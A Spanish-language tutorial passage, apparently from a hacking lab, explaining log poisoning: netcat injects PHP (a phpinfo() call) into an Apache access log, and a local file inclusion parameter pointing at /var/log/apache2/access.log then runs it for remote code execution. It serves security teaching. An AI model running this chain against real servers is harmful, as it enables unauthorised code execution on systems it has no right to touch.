El log poisoning es una técnica donde el atacante inyecta código ejecutable en el archivo de registro de un servidor web y usa una vulnerabilidad LFI para incluir y ejecutar este archivo de registro. Este método es particularmente sigiloso porque los archivos de registro se comparten y son aparentemente inofensivos. En un ataque de log poisoning, el atacante debe inyectar código PHP malicioso en un archivo log. Una vez inyectado, puede usar una LFI para incluir el archivo como uno estándar. Esto causa que el servidor ejecute el código malicioso contenido en el archivo de registro, llevando a RCE.

Por ejemplo, si un atacante manda una petición Netcat a una máquina vulnerable que contiene código PHP:

bash
$ nc MACHINE_IP 80
php
<?php echo phpinfo(); ?>
http
HTTP/1.1 400 Bad Request
Date: Thu, 23 Nov 2023 05:39:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 335
Connection: close
Content-Type: text/html; charset=iso-8859-1
html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
---
<address>Apache/2.4.41 (Ubuntu) Server at MACHINE_IP.eu-west-1.compute.internal Port 80</address>
</body></html>

El código será registrado en el log de acceso del servidor.

LFI2RCE - Log Poisoning

El atacante entonces usa LFI para incluir el archivo de registro de acceso: ?page=/var/log/apache2/access.log.

LFI2RCE - Log Poisoning

Para replicar la demo de arriba puedes ir a http://IP/playground.php.